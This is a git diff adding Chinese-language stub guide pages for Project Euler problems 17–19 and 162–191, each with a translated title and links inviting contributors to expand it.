diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-162-hexadecimal-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-162-hexadecimal-numbers/index.md
new file mode 100644
index 0000000000..b8d1e3f775
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-162-hexadecimal-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Hexadecimal numbers
+localeTitle: 十六进制数
+---
+## 问题162：十六进制数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-162-hexadecimal-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-163-cross-hatched-triangles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-163-cross-hatched-triangles/index.md
new file mode 100644
index 0000000000..93fd595b8a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-163-cross-hatched-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Cross-hatched triangles
+localeTitle: 交叉阴影三角形
+---
+## 问题163：交叉阴影的三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-163-cross-hatched-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-164-numbers-for-which-no-three-consecutive-digits-have-a-sum-greater-than-a-given-value/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-164-numbers-for-which-no-three-consecutive-digits-have-a-sum-greater-than-a-given-value/index.md
new file mode 100644
index 0000000000..38fadb838a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-164-numbers-for-which-no-three-consecutive-digits-have-a-sum-greater-than-a-given-value/index.md
@@ -0,0 +1,9 @@
+---
+title: Numbers for which no three consecutive digits have a sum greater than a given value
+localeTitle: 没有三个连续数字的总和大于给定值的数字
+---
+## 问题164：没有三个连续数字的总和大于给定值的数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-164-numbers-for-which-no-three-consecutive-digits-have-a-sum-greater-than-a-given-value/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-165-intersections/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-165-intersections/index.md
new file mode 100644
index 0000000000..fdb8efd34c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-165-intersections/index.md
@@ -0,0 +1,9 @@
+---
+title: Intersections
+localeTitle: 交叉口
+---
+## 问题165：交叉口
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-165-intersections/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-166-criss-cross/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-166-criss-cross/index.md
new file mode 100644
index 0000000000..c054c7710f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-166-criss-cross/index.md
@@ -0,0 +1,9 @@
+---
+title: Criss Cross
+localeTitle: 克里斯十字架
+---
+## 问题166：克里斯十字架
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-166-criss-cross/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-167-investigating-ulam-sequences/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-167-investigating-ulam-sequences/index.md
new file mode 100644
index 0000000000..6fc6a7c746
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-167-investigating-ulam-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating Ulam sequences
+localeTitle: 研究Ulam序列
+---
+## 问题167：研究Ulam序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-167-investigating-ulam-sequences/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-168-number-rotations/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-168-number-rotations/index.md
new file mode 100644
index 0000000000..526e90fc44
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-168-number-rotations/index.md
@@ -0,0 +1,9 @@
+---
+title: Number Rotations
+localeTitle: 数字轮换
+---
+## 问题168：数字轮换
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-168-number-rotations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-169-exploring-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-169-exploring-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md
new file mode 100644
index 0000000000..161d72871e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-169-exploring-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md
@@ -0,0 +1,9 @@
+---
+title: Exploring the number of different ways a number can be expressed as a sum of powers of 2
+localeTitle: 探索数字的不同方式的数量可以表示为2的幂的总和
+---
+## 问题169：探索数字可以表示为2的幂之和的不同方式的数量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-169-exploring-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-17-number-letter-counts/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-17-number-letter-counts/index.md
new file mode 100644
index 0000000000..89771b766d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-17-number-letter-counts/index.md
@@ -0,0 +1,9 @@
+---
+title: Number letter counts
+localeTitle: 数字字母计数
+---
+## 问题17：数字字母计数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-17-number-letter-counts/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-170-find-the-largest-0-to-9-pandigital-that-can-be-formed-by-concatenating-products/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-170-find-the-largest-0-to-9-pandigital-that-can-be-formed-by-concatenating-products/index.md
new file mode 100644
index 0000000000..d043ffbc09
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-170-find-the-largest-0-to-9-pandigital-that-can-be-formed-by-concatenating-products/index.md
@@ -0,0 +1,9 @@
+---
+title: Find the largest 0 to 9 pandigital that can be formed by concatenating products
+localeTitle: 找到最大的0到9 pandigital，可以通过连接产品形成
+---
+## 问题170：找到可以通过连接产品形成的最大的0到9个pandigital
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-170-find-the-largest-0-to-9-pandigital-that-can-be-formed-by-concatenating-products/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-171-finding-numbers-for-which-the-sum-of-the-squares-of-the-digits-is-a-square/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-171-finding-numbers-for-which-the-sum-of-the-squares-of-the-digits-is-a-square/index.md
new file mode 100644
index 0000000000..e9ba765eed
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-171-finding-numbers-for-which-the-sum-of-the-squares-of-the-digits-is-a-square/index.md
@@ -0,0 +1,9 @@
+---
+title: Finding numbers for which the sum of the squares of the digits is a square
+localeTitle: 找到数字的平方和为正方形的数字
+---
+## 问题171：找到数字的平方和为正方形的数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-171-finding-numbers-for-which-the-sum-of-the-squares-of-the-digits-is-a-square/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-172-investigating-numbers-with-few-repeated-digits/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-172-investigating-numbers-with-few-repeated-digits/index.md
new file mode 100644
index 0000000000..74a72abe04
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-172-investigating-numbers-with-few-repeated-digits/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating numbers with few repeated digits
+localeTitle: 用少量重复数字调查数字
+---
+## 问题172：调查重复数字很少的数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-172-investigating-numbers-with-few-repeated-digits/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-173-using-up-to-one-million-tiles-how-many-different-hollow-square-laminae-can-be-formed/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-173-using-up-to-one-million-tiles-how-many-different-hollow-square-laminae-can-be-formed/index.md
new file mode 100644
index 0000000000..99a40bae98
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-173-using-up-to-one-million-tiles-how-many-different-hollow-square-laminae-can-be-formed/index.md
@@ -0,0 +1,9 @@
+---
+title: Using up to one million tiles how many different "hollow" square laminae can be formed?
+localeTitle: 使用多达一百万个瓷砖可以形成多少个不同的“空心”方形薄片？
+---
+## 问题173：使用多达一百万个瓷砖可以形成多少个不同的“空心”方形薄片？
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-173-using-up-to-one-million-tiles-how-many-different-hollow-square-laminae-can-be-formed/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-174-counting-the-number-of-hollow-square-laminae-that-can-form-one-two-three-...-distinct-arrangements/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-174-counting-the-number-of-hollow-square-laminae-that-can-form-one-two-three-...-distinct-arrangements/index.md
new file mode 100644
index 0000000000..817cf011a7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-174-counting-the-number-of-hollow-square-laminae-that-can-form-one-two-three-...-distinct-arrangements/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting the number of "hollow" square laminae that can form one, two, three, ... distinct arrangements
+localeTitle: 计算可以形成一个，两个，三个......不同排列的“空心”方形薄片的数量
+---
+## 问题174：计算可以形成一个，两个，三个......不同排列的“空心”方形薄片的数量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-174-counting-the-number-of-hollow-square-laminae-that-can-form-one-two-three-…-distinct-arrangements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-175-fractions-involving-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-175-fractions-involving-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md
new file mode 100644
index 0000000000..0a3571d673
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-175-fractions-involving-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md
@@ -0,0 +1,9 @@
+---
+title: Fractions involving the number of different ways a number can be expressed as a sum of powers of 2
+localeTitle: 涉及数量不同的方式的数量可以表示为2的幂的总和
+---
+## 问题175：涉及不同方式的数量的分数数字可以表示为2的幂的总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-175-fractions-involving-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-176-right-angled-triangles-that-share-a-cathetus/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-176-right-angled-triangles-that-share-a-cathetus/index.md
new file mode 100644
index 0000000000..6c75cd0e49
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-176-right-angled-triangles-that-share-a-cathetus/index.md
@@ -0,0 +1,9 @@
+---
+title: Right-angled triangles that share a cathetus
+localeTitle: 直角三角形共享一个cathetus
+---
+## 问题176：共用一个cathetus的直角三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-176-right-angled-triangles-that-share-a-cathetus/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-177-integer-angled-quadrilaterals/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-177-integer-angled-quadrilaterals/index.md
new file mode 100644
index 0000000000..928d6dba3e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-177-integer-angled-quadrilaterals/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer angled Quadrilaterals
+localeTitle: 整数角四边形
+---
+## 问题177：整数角四边形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-177-integer-angled-quadrilaterals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-178-step-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-178-step-numbers/index.md
new file mode 100644
index 0000000000..9b5226e179
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-178-step-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Step Numbers
+localeTitle: 步数
+---
+## 问题178：步骤编号
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-178-step-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-179-consecutive-positive-divisors/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-179-consecutive-positive-divisors/index.md
new file mode 100644
index 0000000000..e945c50a41
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-179-consecutive-positive-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Consecutive positive divisors
+localeTitle: 连续的正数除数
+---
+## 问题179：连续的正向除数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-179-consecutive-positive-divisors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-18-maximum-path-sum-i/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-18-maximum-path-sum-i/index.md
new file mode 100644
index 0000000000..8bcc845a64
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-18-maximum-path-sum-i/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum path sum I
+localeTitle: 最大路径总和I.
+---
+## 问题18：最大路径总和I.
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-18-maximum-path-sum-i/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-180-rational-zeros-of-a-function-of-three-variables/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-180-rational-zeros-of-a-function-of-three-variables/index.md
new file mode 100644
index 0000000000..76e6401631
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-180-rational-zeros-of-a-function-of-three-variables/index.md
@@ -0,0 +1,9 @@
+---
+title: Rational zeros of a function of three variables
+localeTitle: 三个变量函数的有理零点
+---
+## 问题180：三个变量函数的有理零点
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-180-rational-zeros-of-a-function-of-three-variables/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-181-investigating-in-how-many-ways-objects-of-two-different-colours-can-be-grouped/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-181-investigating-in-how-many-ways-objects-of-two-different-colours-can-be-grouped/index.md
new file mode 100644
index 0000000000..ad24104436
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-181-investigating-in-how-many-ways-objects-of-two-different-colours-can-be-grouped/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating in how many ways objects of two different colours can be grouped
+localeTitle: 研究两种不同颜色的对象可以分组的方式
+---
+## 问题181：调查两种不同颜色的对象可以分组的方式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-181-investigating-in-how-many-ways-objects-of-two-different-colours-can-be-grouped/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-182-rsa-encryption/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-182-rsa-encryption/index.md
new file mode 100644
index 0000000000..347a81140a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-182-rsa-encryption/index.md
@@ -0,0 +1,9 @@
+---
+title: RSA encryption
+localeTitle: RSA加密
+---
+## 问题182：RSA加密
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-182-rsa-encryption/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-183-maximum-product-of-parts/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-183-maximum-product-of-parts/index.md
new file mode 100644
index 0000000000..97d8d0fc25
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-183-maximum-product-of-parts/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum product of parts
+localeTitle: 零件的最大产品
+---
+## 问题183：零件的最大产品
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-183-maximum-product-of-parts/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-184-triangles-containing-the-origin/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-184-triangles-containing-the-origin/index.md
new file mode 100644
index 0000000000..6a3957d0ae
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-184-triangles-containing-the-origin/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangles containing the origin
+localeTitle: 包含原点的三角形
+---
+## 问题184：包含原点的三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-184-triangles-containing-the-origin/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-185-number-mind/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-185-number-mind/index.md
new file mode 100644
index 0000000000..56535e80a0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-185-number-mind/index.md
@@ -0,0 +1,9 @@
+---
+title: Number Mind
+localeTitle: 数字心灵
+---
+## 问题185：数字思维
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-185-number-mind/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-186-connectedness-of-a-network/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-186-connectedness-of-a-network/index.md
new file mode 100644
index 0000000000..77c526eab6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-186-connectedness-of-a-network/index.md
@@ -0,0 +1,9 @@
+---
+title: Connectedness of a network
+localeTitle: 网络的连通性
+---
+## 问题186：网络的连通性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-186-connectedness-of-a-network/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-187-semiprimes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-187-semiprimes/index.md
new file mode 100644
index 0000000000..12f33d992d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-187-semiprimes/index.md
@@ -0,0 +1,9 @@
+---
+title: Semiprimes
+localeTitle: 半素数
+---
+## 问题187：半致
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-187-semiprimes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-188-the-hyperexponentiation-of-a-number/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-188-the-hyperexponentiation-of-a-number/index.md
new file mode 100644
index 0000000000..0ecbce333d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-188-the-hyperexponentiation-of-a-number/index.md
@@ -0,0 +1,9 @@
+---
+title: The hyperexponentiation of a number
+localeTitle: 一个数字的过度扩张
+---
+## 问题188：数字的过度扩展
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-188-the-hyperexponentiation-of-a-number/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-189-tri-colouring-a-triangular-grid/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-189-tri-colouring-a-triangular-grid/index.md
new file mode 100644
index 0000000000..8d60348f65
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-189-tri-colouring-a-triangular-grid/index.md
@@ -0,0 +1,9 @@
+---
+title: Tri-colouring a triangular grid
+localeTitle: 三色网格三色
+---
+## 问题189：三角网格三色
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-189-tri-colouring-a-triangular-grid/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-19-counting-sundays/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-19-counting-sundays/index.md
new file mode 100644
index 0000000000..24b8cbfccf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-19-counting-sundays/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting Sundays
+localeTitle: 计算星期天
+---
+## 问题19：计算星期日
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-19-counting-sundays/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-190-maximising-a-weighted-product/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-190-maximising-a-weighted-product/index.md
new file mode 100644
index 0000000000..c4b23fe960
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-190-maximising-a-weighted-product/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximising a weighted product
+localeTitle: 最大化加权产品
+---
+## 问题190：最大化加权产品
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-190-maximising-a-weighted-product/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-191-prize-strings/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-191-prize-strings/index.md
new file mode 100644
index 0000000000..d7fe8829ea
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-191-prize-strings/index.md
@@ -0,0 +1,9 @@
+---
+title: Prize Strings
+localeTitle: 奖品串
+---
+## 问题191：奖品串
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-191-prize-strings/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
